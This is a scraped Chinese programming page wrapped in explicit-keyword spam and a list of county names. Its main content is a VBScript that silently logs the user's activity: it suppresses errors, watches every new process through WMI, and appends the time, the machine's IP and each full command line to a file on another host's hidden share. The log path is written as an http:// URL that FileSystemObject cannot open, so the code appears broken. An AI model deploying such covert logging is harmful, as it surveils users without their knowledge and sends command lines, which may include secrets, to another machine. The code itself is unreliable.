国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

用VBS記錄客戶機操作的代碼

2020-07-26 11:58:13
字體:
來源:轉載
供稿:網友
記錄客戶機操作的VBS腳本
on error resume next
strComputer = "."
Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2")
Set IPConfigSet = objWMIService.ExecQuery _
("Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then 
For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress)
a=IPConfig.IPAddress(i)
Next
End If
Next

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!//" & strComputer & "/root/cimv2")
Set colMonitoredProcesses = objWMIService. _ 
ExecNotificationQuery("select * from __instancecreationevent " _ 
& " within 1 where TargetInstance isa 'Win32_Process'")


i = 0


Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
b=objLatestProcess.TargetInstance.CommandLine

set fso=createobject("scripting.filesystemobject")
set file1=fso.opentextfile("http://192.168.0.87/ourway$/ourway.htm",8,true)
file1.writeline now() & "---" & a & "---" & b & "<hr>"
file1.close

Loop 
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 固原市| 荣昌县| 新龙县| 江阴市| 临西县| 大田县| 伊宁市| 天峻县| 房山区| 防城港市| 巨鹿县| 抚宁县| 陆良县| 道真| 延边| 镇赉县| 图们市| 安丘市| 昆山市| 甘泉县| 夹江县| 绥芬河市| 浦江县| 云龙县| 六安市| 临泽县| 洞口县| 乌拉特后旗| 达州市| 射洪县| 巧家县| 交城县| 乌兰浩特市| 恩平市| 丹巴县| 滦南县| 章丘市| 深州市| 汶川县| 寻甸| 鄄城县|